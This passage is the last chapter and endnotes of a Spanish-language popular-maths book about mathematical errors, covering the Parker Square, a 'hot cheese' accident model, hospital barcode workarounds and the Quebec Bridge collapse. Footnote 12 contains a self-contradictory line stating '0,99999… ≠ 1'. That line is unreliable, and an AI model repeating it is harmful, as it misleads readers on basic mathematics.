preparado	para	asegurarse	de	que	las	lecciones	importantes	y	potencialmente
útiles	pudieran	ser	compartidas	con	las	personas	que	se	podrían	beneficiar	al
conocerlas.	 Para	 este	 libro	 he	 investigado	 muchos	 informes	 sobre
investigaciones	 de	 accidentes	 que	 se	 hicieron	 públicos,	 pero	 eso	 solo	 suele
ocurrir	 cuando	ha	ocurrido	un	desastre	muy	obvio.	Es	muy	probable	que	 se
hayan	ocultado	muchos	otros	errores	matemáticos	más	discretos.

Porque	todos	cometemos	errores.	Continuamente.	Y	no	es	algo	que	haya
que	temer.	Muchas	personas	con	las	que	hablo	dicen	que,	cuando	estaban	en
el	 colegio,	 no	 les	 iban	 bien	 las	 matemáticas	 porque	 simplemente	 no	 las
entendían.	 Pero	 la	 mitad	 del	 desafío	 que	 supone	 aprender	 matemáticas	 es
aceptar	que	puede	que	no	se	te	den	bien	de	forma	natural	pero	que,	si	pones	el
empeño	 suficiente,	 podrás	 aprenderlas.	Por	 lo	 que	yo	 sé,	 la	 única	 frase	mía
que	 algunos	 profesores	 han	 colocado	 en	 un	 póster	 en	 sus	 clases	 es:	 «Los
matemáticos	no	 son	personas	a	quienes	 les	 resultan	 fáciles	 las	matemáticas;
son	personas	que	disfrutan	con	su	dificultad».

En	2016,	me	convertí,	de	forma	accidental,	en	el	chico	del	póster	utilizado
para	 cuando	 lo	 que	 sabes	 de	 matemáticas	 no	 es	 suficiente.	 Estábamos
grabando	 un	 vídeo	 de	 YouTube	 para	 el	 canal	 Numberphile	 y	 yo	 estaba
hablando	 sobre	 los	 cuadrados	 mágicos.	 Son	 cuadrículas	 de	 números	 que
siempre	dan	el	mismo	total	si	sumas	las	filas,	columnas	o	diagonales.	Soy	un
gran	 admirador	 de	 los	 cuadrados	 mágicos	 y	 pensé	 que	 era	 interesante	 que
nadie	 hubiera	 encontrado	 un	 cuadrado	 mágico	 de	 tres	 por	 tres	 formado
íntegramente	por	números	al	cuadrado.	O	que	nadie	hubiera	podido	demostrar
que	 ese	 cuadrado	 no	 existe.	No	 era	 la	 cuestión	 de	matemáticas	 sin	 resolver
más	importante	de	todas,	pero	pensé	que	era	interesante	que	todavía	siguiera
sin	ser	resuelta.
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Así	que	lo	intenté.	Como	reto	de	programación,	escribí	algún	código	para
ver	 lo	 cerca	 que	 me	 podía	 quedar	 de	 encontrar	 un	 cuadrado	 mágico	 de
cuadrados.	Y	encontré	esto:

Da	 el	 mismo	 total	 en	 cada	 fila	 y	 columna,	 pero	 en	 solo	 una	 de	 las
diagonales.	 Solo	 me	 faltaba	 una	 de	 las	 sumas	 para	 conseguirlo.	 Además,
estaba	 utilizando	 los	 mismos	 números	 más	 de	 una	 vez,	 y	 en	 un	 auténtico
cuadrado	 mágico	 todos	 los	 números	 han	 de	 ser	 diferentes.	 Por	 lo	 que	 mi
intento	 de	 encontrar	 una	 solución	 se	 quedó	 corto.	No	me	 sorprendió:	 ya	 se
había	 demostrado	 que	 para	 que	 un	 cuadrado	 mágico	 de	 tres	 por	 tres	 y
compuesto	 por	 cuadrados	 saliera	 bien,	 todos	 sus	 números	 tendrían	 que	 ser
mayores	que	cien	billones.	Mis	números	iban	del	12	=1	al	472	=	2.209.	Solo
quería	intentarlo	y	ver	hasta	dónde	podía	llegar.

El	vídeo	fue	grabado	por	Brady	Haran,	y	él	fue	mucho	menos	indulgente,
básicamente	porque	señaló	que	mi	solución	no	era	demasiado	buena.	Cuando
me	 preguntó	 cómo	 se	 llamaba,	 supe	 inmediatamente	 que,	 si	 lo	 llamaba
«cuadrado	Parker»,	se	convertiría	en	un	símbolo	de	cuando	 las	cosas	fueran
mal.	Pero	no	es	que	tuviera	otra	opción.	Brady	le	puso	al	vídeo	el	título	de	El
Cuadrado	Parker	(The	Parker	Square),	y	el	resto	es	historia.	Se	convirtió	en
un	 meme	 de	 internet	 por	 propio	 derecho	 y,	 en	 lugar	 de	 «no	 darle	 mucha
importancia»,	Brad	creó	unas	camisetas	y	tazas	conmemorativas.	A	la	gente	le
encanta	llevarlas	cuando	viene	a	ver	mis	programas.

He	intentado	conseguir	que	el	Cuadrado	Parker	volviera	a	ser	un	símbolo
de	 la	 importancia	 de	 darle	 una	 oportunidad	 a	 algo,	 incluso	 cuando	 es	muy
probable	 que	 no	 salga	 bien.	 La	 experiencia	 que	 parece	 que	 tenemos	 en	 el
colegio	 es	 que	 hacer	 algo	mal	 en	matemáticas	 es	 terrible	 y	 debería	 evitarse
por	 todos	 los	medios.	Pero	esa	persona	no	va	a	ser	capaz	de	sobreponerse	e
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intentar	 nuevos	 retos	 sin	 que,	 ocasionalmente,	 las	 cosas	 salgan	mal.	 Por	 lo
tanto,	 como	una	 especie	 de	 acuerdo	mutuo,	 el	Cuadrado	Parker	 ha	 acabado
siendo	«un	símbolo	de	las	personas	que	lo	intentan	pero	que	al	final	se	quedan
cortos».

Dicho	todo	esto,	tal	como	ha	dejado	claro	este	libro,	hay	situaciones	en	las
que	 es	muy	 necesario	 que	 las	matemáticas	 se	 hagan	 correctamente.	 Seguro
que	 las	 personas	 que	 están	 probando	 e	 investigando	 nuevas	 matemáticas
pueden	cometer	 toda	clase	de	errores,	pero,	una	vez	que	estemos	utilizando
esas	matemáticas	en	situaciones	críticas,	más	nos	vale	que	se	hagan	bien.	Y,
puesto	que	a	menudo	vamos	más	allá	de	aquello	de	 lo	que	 la	humanidad	es
capaz	por	sí	misma,	siempre	habrá	algunos	errores	a	la	espera	de	producirse:

Así	es	mi	vida	actualmente.

Creo	que	es	mucho	mejor	ser	pragmático	cuando	se	trata	de	evitar	algún
desastre.	Los	errores	se	van	a	producir,	y	los	sistemas	necesitan	ser	capaces	de
lidiar	 con	 ellos	 e	 impedir	 que	 se	 conviertan	 en	 catástrofes.	 El	 equipo	 del
CHI+MED	 que	 está	 investigando	 las	 interacciones	 entre	 ordenadores	 y
humanos	con	los	dispositivos	médicos	ha	desarrollado	una	nueva	versión	del
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modelo	del	queso	suizo	a	la	que	me	gusta	llamar:	modelo	del	queso	caliente
sobre	las	causas	de	los	accidentes.

En	este	modelo,	el	queso	suizo	está	de	lado:	imagínese	que	las	lonchas	de
queso	 están	 en	posición	horizontal	 y	 los	 errores	 caen	desde	 arriba.	Solo	 los
errores	 que	 atraviesen	 los	 agujeros	 de	 cada	 capa	 llegarán	 al	 fondo	 y	 se
convertirán	 en	 accidentes.	 El	 elemento	 nuevo	 de	 este	 modelo	 es	 que	 las
lonchas	 de	 queso	 están	 calientes	 y	 algunas	 partes	 de	 ellas	 pueden	 gotear,
provocando	 nuevos	 problemas.	 Al	 trabajar	 con	 dispositivos	 médicos,	 los
chicos	del	CHI+MED	se	dieron	cuenta	de	que	existía	una	causa	de	accidentes
que	 no	 estaba	 representada	 en	 este	modelo	 del	 queso	 suizo:	 las	 capas	 y	 las
etapas	dentro	de	un	 sistema	podían	causar	por	 sí	mismos	que	 se	produjeran
errores.	 Añadir	 una	 nueva	 capa	 no	 reduce	 automáticamente	 la	 cantidad	 de
accidentes	que	suceden.	Los	sistemas	son	más	complicados	y	dinámicos	que
eso.

Nadie	quiere	gotas	de	más	en	la	fondue	del	desastre.
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Utilizan	 el	 ejemplo	 de	 los	 sistemas	 de	 códigos	 de	 barras	 para	 la
administración	 de	 la	 medicación	 que	 fueron	 introducidos	 para	 reducir	 los
errores	que	se	cometían	a	la	hora	de	dispensar	medicamentos.	Estos	sistemas
ayudaron	a	que	se	 redujeran	 los	errores	provocados	por	dar	una	medicación
errónea,	pero	 también	abrieron	nuevos	 caminos	 en	 los	que	 las	 cosas	podían
salir	mal.	 Para	 poder	 ahorrar	 tiempo,	 algunos	miembros	 del	 personal	 no	 se
molestaban	en	escanear	el	código	de	barras	de	la	pulsera	del	paciente;	en	su
lugar,	llevaban	copias	de	repuesto	de	los	códigos	de	barras	de	los	pacientes	en
su	 cinturón	 o	 pegaban	 copias	 en	 los	 armarios	 de	 suministro.	 También
escaneaban	dos	veces	la	misma	medicación	en	lugar	de	escanear	dos	envases
diferentes	si	creían	que	estos	eran	idénticos.

Así	pues,	disponer	de	códigos	de	barras	provocó	situaciones	en	las	que	los
fármacos	 que	 correspondían	 a	 cada	 paciente	 se	 comprobaban	 con	 menos
atención	 que	 antes.	 Si	 se	 pone	 en	 marcha	 un	 sistema	 nuevo,	 los	 humanos
pueden	ser	muy	habilidosos	a	la	hora	de	encontrar	nuevas	formas	de	cometer
errores.

Puede	 ser	 muy	 peligroso	 cuando	 los	 humanos	 se	 vuelven
autocomplacientes	y	piensan	que	saben	más	que	las	matemáticas.	En	1907,	en
una	 sección	 del	 río	 St.	 Lawrence,	 en	 Canadá,	 se	 estaba	 construyendo	 un
puente	de	acero	por	el	que	pasaría	tanto	una	carretera	como	una	vía	de	tren,	y
que	 medía	 más	 de	 medio	 kilómetro	 de	 largo.	 La	 construcción	 estaba	 en
marcha,	 pero	 el	 29	 de	 agosto	 uno	 de	 los	 obreros	 se	 dio	 cuenta	 de	 que	 un
remache	 que	 había	 colocado	 una	 hora	 antes	 se	 había	 partido	 por	 la	 mitad
misteriosamente.	 Entonces,	 de	 repente,	 toda	 la	 sección	 sur	 del	 puente	 se
derrumbó,	con	un	ruido	que	se	oyó	hasta	una	distancia	de	diez	kilómetros.	De
las	 ochenta	 y	 seis	 personas	 que	 trabajaban	 en	 ese	 momento	 en	 el	 puente,
setenta	y	cinco	murieron.

Se	había	cometido	un	error	de	cálculo	en	cuanto	a	lo	pesado	que	podía	ser,
en	parte	debido	a	que	cuando	el	diseño	del	puente	pasó	de	los	487	metros	a
548	metros,	las	fuerzas	no	se	recalcularon,	por	lo	que	las	vigas	inferiores	de
apoyo	 cedieron	 y	 finalmente	 se	 partieron	 por	 completo.	Los	 obreros	 habían
expresado	sus	preocupaciones	sobre	el	hecho	de	que	 las	vigas	del	puente	se
estaban	deformando	cuando	llevaban	un	tiempo	colocadas,	y	algunos	de	ellos
dejaron	el	trabajo	por	miedo.	Pero	los	ingenieros	hicieron	caso	omiso	de	sus
preocupaciones.	Incluso	cuando	se	descubrió	el	error	de	cálculo	de	la	carga,	el
ingeniero	jefe	decidió	seguir	con	la	construcción;	llegaron	a	la	conclusión	de
que	estaría	bien	sin	necesidad	de	hacer	las	comprobaciones	pertinentes.
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Después	 de	 su	 hundimiento,	 el	 puente	 fue	 rediseñado,	 y	 las	 vigas	 que
soportan	la	carga	crítica	tienen	ahora	el	doble	de	área	transversal	que	las	del
primer	 intento.	 Este	 diseño	 tuvo	 éxito	 y	 el	 puente	 de	 Quebec	 se	 sigue
utilizando	 desde	 hace	más	 de	 un	 siglo	 de	 su	 finalización,	 en	 1917.	 Pero	 la
construcción	no	estuvo	exenta	de	problemas.	Cuando,	en	1916,	se	colocó	en
su	sitio	la	sección	media,	las	máquinas	elevadoras	se	rompieron	y	esa	sección
del	puente	cayó	en	el	río.	Trece	obreros	perdieron	la	vida.	La	sección	media
se	hundió	y,	hasta	la	fecha,	sigue	alojada	en	el	lecho	del	río,	cerca	del	primer
puente	 que	 se	 derrumbó.	 Construir	 es	 un	 trabajo	 peligroso	 y	 el	 error	 más
pequeño	puede	costar	vidas.

Ser	 ingeniero,	 o	 trabajar	 en	 cualquier	 trabajo	 importante	 en	 el	 que	 se
utilicen	las	matemáticas,	es	un	trabajo	aterrador.	Debido	al	desastre	del	puente
de	Quebec,	 desde	 1925,	 cualquier	 estudiante	 que	 se	 gradué	 en	 un	 grado	 de
ingeniería	en	Canadá	puede	acudir	voluntariamente	al	ritual	de	nominación	de
ingeniero,	en	el	que	se	les	da	un	anillo	de	acero	para	recordarles	la	humildad	y
falibilidad	de	los	ingenieros.	Puede	acabar	en	tragedia	cuando	un	matemático
comete	un	error	que	provoca	un	desastre,	pero	eso	no	significa	que	podamos
prescindir	de	ellas.	Necesitamos	ingenieros	que	diseñen	puentes,	a	pesar	de	la
presión	que	eso	conlleva.
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Dos	fotografías	del	puente:	una	tomada	justo	antes	de	que	se	derrumbara	y	otra	después.

Nuestro	mundo	moderno	depende	de	las	matemáticas	y,	cuando	las	cosas
salen	mal,	debería	servir	como	recordatorio	aleccionador	de	que	necesitamos
estar	 atentos	 al	 queso	 caliente	 pero	 también	 de	 que	 debemos	 recordar	 que
muchas	 cosas	 que	 funcionan	 a	 la	 perfección	 a	 nuestro	 alrededor	 lo	 hacen
gracias	a	las	matemáticas.
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Notas
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[1]	Por	supuesto,	no	podemos	grabar	un	símbolo	+	o	–	en	un	número	binario,
por	lo	que	se	utiliza	un	sistema	para	indicar	positivo	o	negativo	utilizando	el
propio	sistema	binario,	pero	sigue	necesitando	un	bit	de	espacio.	<<
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[2]	Para	cualquier	programador	que	piense	que	esto	ya	no	es	un	problema,	me
estoy	refiriendo	a	un	problema	del	XMLEncoder	en	Apache	Flex.	Compruebe
el	informe	de	errores	FLEX-33644.	<<
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[3]	En	la	mayoría	de	mapas	en	línea	no	aparece	más	que	agua	donde	debería
estar	 la	 isla	 Null,	 excepto	 en	 los	 datos	 cartográficos	 de	 código	 abierto	 de
Natural	Earth,	que	incluyen	una	mancha	de	un	metro	cuadrado	de	tierra	en	el
punto	0,0	desde	su	versión	1.3.	<<
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[4]	 Los	 puede	 descargar	 todos	 en	 https://oeis.org/A262222.	 Dato	 curioso:
fueron	reunidos	por	mi	compañero	de	matemáticas	Christian	Lawson-Perfect,
conocido	por	el	poliedro	Perfect-Herschel.	<<

Página	283



[5]	Suena	ligeramente	peor	de	lo	que	es	porque	las	fórmulas	viajan	en	grupos:
una	 única	 fórmula	 se	 puede	 «arrastrar»	 para	 copiarla	 en	 varias	 celdas.	 Si
descontamos	 los	 duplicados,	 las	 hojas	 de	 cálculo	 tenían	 una	media	 de	 17,5
errores	únicos	cada	una.	<<
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[6]	 En	 mi	 libro	 Things	 to	 Make	 and	 Do	 in	 the	 Fourth	 Dimension	 podrá
encontrar	una	guía	con	la	que	hacer	sus	propias	figuras.	<<
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[7]	Me	doy	cuenta	de	que	parte	de	esta	extrañeza	se	traslada	a	los	semitonos	(y
la	definición	de	una	escala	mayor).	Pero	son	solo	semiculpables.	<<
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[8]	 Un	 signo	 de	 exclamación	 se	 utiliza	 para	 indicar	 que	 ese	 número	 es	 un
factorial	y,	dado	 lo	 sorprendentemente	 largas	que	pueden	ser	 las	 respuestas,
parece	muy	apropiado.	<<
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[9]	 Siempre	 dispuestos	 a	 aceptar	 un	 desafío,	 los	 matemáticos	 le	 dieron	 el
nombre	de	«McCombinación»	a	cualquier	valor	n!	–	n	 (secuencia	A005096
en	 la	 Enciclopedia	 Online	 de	 Secuencias	 de	 Números	 Enteros)	 y	 están
intentando	encontrar	un	uso	para	estos	números.	Hasta	el	momento	no	lo	han
encontrado.	<<
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[10]	 El	Menú	McChoice	 fue	 una	 de	 las	 pocas	 veces	 en	 las	 que	McDonald’s
vendió	perritos	calientes.	Y,	de	algún	modo,	ese	no	fue	el	mayor	error	en	todo
esto.	<<
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[11]	Para	 ser	 justos,	hay	que	decir	que,	 en	1983,	Estados	Unidos	amplió	 sus
códigos	postales	hasta	 los	nueve	dígitos	del	modo	«código	+	4»,	pero	a	 los
estadounidenses	 amantes	 de	 la	 libertad	 no	 les	 hizo	 gracia	 que	 les	 asignaran
números	específicos.	Era	una	especie	de	1984.	Por	lo	que,	desde	entonces,	los
códigos	postales	han	seguido	 teniendo	solo	cinco	dígitos	de	cara	al	público;
entre	 bambalinas,	 los	 códigos	 de	 barras	 de	 correos	 que	 se	 imprimen	 en	 las
cartas	utilizan	el	«código	+	6»	para	asignar	un	código	de	once	dígitos	a	todos
los	edificios	del	país.	<<
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[12]	Irónicamente,	la	única	fracción	binaria	que	se	puede	grabar	eficientemente
es	½.	En	 la	base	10	es	0,5	porque	cinco	es	 la	mitad	de	diez	y,	de	 la	misma
forma,	 como	 binario	 de	 base	 2	 es	 0,1	 porque	 uno	 es	 la	mitad	 de	 dos.	Y	 si
hubiera	infinitos	dígitos	en	0,01111111…	sería	exactamente	0,1	de	la	misma
forma	que	0,99999…	≠	1.	 Ignore	a	 la	gente	que	en	 internet	se	queja	de	que
0,99999…	≠	1,	porque	están	equivocados.	<<
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[13]	 El	 número	 754	 no	 es	 significativo;	 el	 IEEE	 numera	 sus	 estándares	 de
forma	secuencial	en	el	orden	en	el	que	fueron	solicitados.	Justo	antes	de	este
estaba	 el	 753:	 «Métodos	 Funcionales	 y	 Equipamientos	 para	 Medir	 el
Rendimiento	 de	 los	 Sistemas	 de	 Señalización	 de	 Direcciones	 mediante
Pulsos»	 y,	 justo	 después,	 el	 755:	 «Extensiones	 de	 Uso-test	 en
Implementaciones	de	Lenguajes	de	Alto	Nivel	para	Microprocesadores».	<<
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[14]	En	inglés	son	red	(rojo)	–	blue	(azul)	–	green	(verde)	–	yellow	(amarillo)	–
magenta.	(N.	del	t.)	<<
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[15]	 Casi.	 El	 ciclo	 «interno»	 no	 se	 invierte	 con	 el	 doble	 de	 dados,	 pero	 el
emparejamiento	 rojo	contra	verde	se	 iguala	al	49%	(ligeramente	a	 favor	del
verde).	Existe	una	segunda	versión	de	los	dados	de	Grime	que	soluciona	este
problema	para	que	se	siga	decantando	por	el	rojo,	pero	pierde	subconjuntos	de
dados,	que	funcionan	como	conjuntos	no	transitivos	más	pequeños.	<<
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[16]	El	Harlem	Shake	fue	un	meme	que	se	hizo	popular	en	2013.	Se	trataba	de
unos	 vídeos	 que	 reproducían	 un	 baile	 aleatorio	 que	 empezaba	 con	 un
individuo	 solo	 y	 luego	 seguía	 con	 un	 grupo	 alrededor	 suyo,	 en	 los	 que
sonaban	siempre	la	misma	música.	(N.	del	t.)	<<
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[17]	Esta	 cifra	 cuidadosamente	 calculada	 está	 sorprendentemente	 cerca	 de	 la
sencilla	 suposición	 de	 que	 cada	 una	 de	 las	 tres	 mil	 transacciones	 diarias
durante	veintidós	meses	hizo	bajar	el	índice	un	promedio	de	0,00045.	<<
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[18]	No	solo	he	dividido	la	diferencia	entre	las	dos	fechas;	es	la	predicción	a
partir	de	 la	 línea	que	mejor	se	adapta	a	 todos	 los	récords	realizados	entre	el
récord	de	10,6	segundos	del	6	de	julio	de	1912	y	el	de	10,2	segundos	del	20
de	junio	de	1936.	<<
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[19]	 Esta	 historia	 plantea	 algunos	 problemas	 físicos.	 Puede	 que	 un	 día	 la
reglamentación	 respecto	 a	 la	 ayuda	 que	 aporta	 el	 viento	 tenga	 en	 cuenta	 el
movimiento	browniano.	<<
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[20]	 Por	 supuesto,	 si	 empezamos	 con	 un	 trozo	 de	 queso	 suizo	 sólido	 y	 lo
cortamos	 en	 lonchas,	 los	 agujeros	 se	 alinean	 porque	 se	 formaron	 por	 las
burbujas	del	queso.	Así	que	se	ha	de	suponer	que	se	han	cortado	las	lonchas	y
luego	se	han	mezclado	aleatoriamente.	<<
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[21]	Es	 justo	 lo	 contrario	 a	 lo	que	vimos	 en	 el	 caso	del	 incendio	del	Apolo,
donde	la	única	salida	era	una	escotilla	tapón.	Las	salidas	de	emergencia	nunca
deberían	 ser	 escotillas	 tapón.	 En	 este	 caso,	 el	 parabrisas	 nunca	 se	 debería
abrir,	por	lo	que	se	podía	instalar	desde	dentro.	<<
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[22]	Las	unidades	como	los	pies,	libras,	y	otras,	utilizadas	en	Estados	Unidos
son	 «Unidades	 tradicionales	 de	 Estados	 Unidos»	 o	 «Sistema	 anglosajón	 de
unidades»,	 no	 unidades	 imperiales.	 Pero	 yo	 utilizaré	 «unidades	 imperiales»
como	un	comodín	con	el	que	referirme	a	todas	estas	familias	de	unidades.	<<
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[23]	 El	 «equipo	 de	 expertos»	 estaba	 compuesto	 realmente	 por	 un	 grupo	 de
estudiantes	que	querían	un	trabajo	extra,	y	las	mediciones	se	tenían	que	hacer
cuando	 no	 tenían	 clase.	 Las	 fuerzas	 aéreas	 intentaron	 que	 participase	 un
departamento	de	antropología	de	una	universidad,	pero	no	le	interesó	a	nadie.
<<
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[24]	Los	conjuntos	añadidos	de	datos	se	lograron	mediante	una	evolución	lenta
de	 los	 datos	 a	 través	 de	 diminutos	 cambios	 que	 movían	 los	 puntos	 que
representaban	los	datos,	creando	una	nueva	imagen,	pero	sin	modificar	ni	las
medias	 ni	 las	 desviaciones	 estándar.	 El	 software	 para	 hacer	 esto	 está
disponible	de	manera	gratuita.	<<
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[25]	Finalmente,	su	estudio	fue	publicado	trece	años	más	tarde,	en	1993,	como
ejemplo	de	sesgo	de	publicación.	<<
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[26]	Para	conocimiento	de	 todos,	aclaro	que	esto	 fue	antes	de	que	yo	mismo
escribiera	 para	 el	Guardian,	 pero	 el	 artículo	 fue	 escrito	 por	mi	 amigo	 Ben
Goldacre,	famoso	por	AllTrials.	<<
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[27]	En	el	momento	de	escribir	este	libro,	ERNIE	no	se	encuentra	expuesto	al
público	en	el	Museo	de	Ciencias.	<<
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[28]	En	marzo	de	2019	 se	puso	en	marcha	ERNIE	5,	 un	ordenador	 cuántico
que	es	capaz	de	producir	13	millones	de	ganadores	en	tan	solo	12	minutos	una
vez	al	mes.	(N.	del	t.)	<<
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[29]	Me	satisface	enormemente	que	una	parte	del	recuento	de	palabras	de	este
libro	haya	sido,	en	este	momento,	generada	al	azar.	<<
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[30]	Esto	fue	en	la	época	en	la	que	el	gobierno	de	Estados	Unidos	controlaba	la
exportación	de	software	con	una	fuerte	encriptación,	ya	que	consideraba	que
esa	 criptografía	 era	 un	 arma.	 Por	 lo	 que	 la	 «versión	 internacional»	 de
Netscape	 utilizaba	 un	 rango	 menor	 de	 claves	 criptográficas	 (40	 bits	 en
comparación	 con	 los	 habituales	 128	 bits)	 que,	 de	 todas	 formas,	 podían	 ser
descifradas	con	cierta	facilidad	en	unas	treinta	horas.	<<
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[31]	 Combinado	 con	 un	 lenguaje	 diferente	 que	 ignore	 los	 espacios,
tabulaciones	y	saltos	de	línea,	esto	significa	que	es	posible	escribir	un	código
bilingüe	 que	 puede	 ser	 interpretado	 por	 dos	 lenguajes	 de	 programación
diferentes.	<<
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